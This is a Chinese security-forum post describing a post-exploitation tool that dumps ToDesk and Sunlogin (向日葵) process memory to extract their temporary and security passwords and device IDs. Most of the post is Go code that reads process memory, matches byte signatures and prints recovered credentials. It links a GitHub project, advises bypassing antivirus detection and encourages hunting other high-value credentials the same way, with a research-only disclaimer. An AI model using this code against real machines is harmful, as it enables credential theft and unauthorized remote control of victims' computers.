应用内存中的后渗透利用-远程工具密码读取
Yater 发表于 山东 历史精选 3638浏览 · 2024-10-12 07:43

思路

新版本的todesk和向日葵已经无法从配置文件获取密码,而且常规的替换手法也已经失效
通过学习yangliukk师傅分享的思路,搞了个CMD下从内存获取密码的工具

首先获取对应进程的pid,选择为console的进程

tasklist | find /i "todesk"

然后对指定pid的内存进行dump出来,使用二进制工具进行分析,就可以找到相关的密码

但是dump出来的文件大小都在几百M或者1G以上,就想着实现自动化分析处理

提取特征-todesk

todesk
像ID、手机号、版本之类的信息可以通过读取配置文件来解决,不需要去内存中检索
获取pid的文件路径

execPath, err := getExecutablePath(int(*pid))
if err != nil {
    fmt.Printf("无法获取PID %d的可执行文件路径: %v\n", *pid, err)
    return
}

获取配置文件信息

// 获取目录路径
dir := filepath.Dir(execPath)

configPath := filepath.Join(dir, "config.ini")

// 读取并输出config.ini中的字段
clientId, version, loginPhone, authMode, err := readConfig(configPath)
if err != nil {
    fmt.Println("无法读取config.ini文件:", err)
    return
}

// 输出结果
fmt.Println("\nID:", clientId)
fmt.Println("Version:", version)
fmt.Println("LoginPhone:", loginPhone)

获取密码,我这里使用的是先获取当天时间,然后在内存中搜索这个字符串,提取前1kb的内存,遍历这1kb里的所有字符串。也可以通过正则的方式去匹配。

if mbi.State == MEM_C && mbi.Protect == PAGE_R && mbi.Type == MEM_P {
    // 创建缓冲区用于读取内存
    buffer := make([]byte, mbi.RegionSize)
    var bytesRead uintptr
    readP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))

    // 在内存块中查找目标字符串
    index := bytes.Index(buffer, searchBytes)
    if index != -1 {
        // 计算前 1024 字节的起始地址
        start := index - 1024
        if start < 0 {
            start = 0
        }
        // 提取前1024字节内容
        data := buffer[start : index+len(searchBytes)]
        // 从数据中提取所有字符串
        foundStrings := extractStrings(data)

而根据配置文件中authMode的值进行一个判断,当为0时,代表仅使用了临时密码。为1时,仅使用了安全密码,为2时,同时使用。

if authMode == "0" {
    fmt.Println("\n目标仅使用临时密码登陆")
    fmt.Println("临时密码:", data[0])
} else if authMode == "1" {
    fmt.Println("\n目标仅使用安全密码登陆")
    fmt.Println("临时密码: ", data[0])
    fmt.Println("安全密码: ", data[1])

} else {
    fmt.Println("\n临时密码和安全密码都可以使用")
    fmt.Println("临时密码: ", data[0])
    fmt.Println("安全密码: ", data[1])
}

提取特征-向日葵

向日葵
特征:

<f f=yahei.28 c=color_edit >xxxxxx</f>

大概思路:查找<f f=yahei.28 c=color_edit >的字符串,然后往后提取6、7、8、13位,且是</f>结尾
临时密码6位,自定义密码6-8位,ID是13位

buffer := make([]byte, mbi.RegionSize)
var bytesRead uintptr
readP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))

// "<f f=yahei.28 c=color_edit >"
searchBytes := []byte{
    0x3C, 0x66, 0x20, 0x66, 0x3D, 0x79, 0x61, 0x68, 0x65, 0x69, 0x2E, 0x32, 0x38, 0x20, 0x63, 0x3D,
    0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x65, 0x64, 0x69, 0x74, 0x20, 0x3E,
}

// "</f>" 的16进制
endTag := []byte{0x3C, 0x2F, 0x66, 0x3E}

因为如果使用了临时密码,每次连接后默认自动更新,因此内存中会有多个密码。
提取内存地址最后的那个为当前密码(非100%正确),并记录所有密码为历史密码,如果不对可以从历史密码里尝试

// 检查字符串是否以 "</f>" 结尾
if bytes.Equal(buffer[endOfString:endOfString+len(endTag)], endTag) {
    // 如果是13位字符串,且不包含 `<`,则记录为 ID
    if length == 13 && !bytes.Contains(extractedString, []byte("<")) {
        id = string(extractedString)
    }
    if length >= 6 && length <= 8 {
        if _, exists := allPasswordsMap[string(extractedString)]; !exists {
            allPasswordsMap[string(extractedString)] = true 
        }
        if mbi.BaseA+uintptr(index) > lastPasswordAddress {
            lastPassword = string(extractedString)
            lastPasswordAddress = mbi.BaseA + uintptr(index)
        }
    }
}

最后结果输出

// 输出最后找到的密码和 ID
if id != "" {
    fmt.Printf("识别码: %s\n", id)
}
if lastPassword != "" {
    fmt.Printf("密码: %s \n", lastPassword)
}
// 输出去重后的历史密码
if len(allPasswordsMap) > 0 {
    fmt.Println("\n历史密码:")
    for pwd := range allPasswordsMap {
        fmt.Println(pwd)
    }
}
fmt.Println("\n密码如果不对就从历史密码里尝试...")

总结

理论上是通杀市面很多软件的,但是因为涉及到读取内存,会触发杀软的一些规则,需要自行bypass一下。
可以思考一下还有哪些高价值凭据可以通过这种方式进行获取

项目地址

https://github.com/milu001/sundeskQ

免责声明:本工具仅供安全研究与学习之用,禁止用于任何非法活动。如用于其他用途,由使用者承担全部法律及连带责任,与工具作者无关。
用法:

最新版todesk-v4.7.4.3

最新版向日葵-15.6.8

0 条评论
某人
表情
可输入 255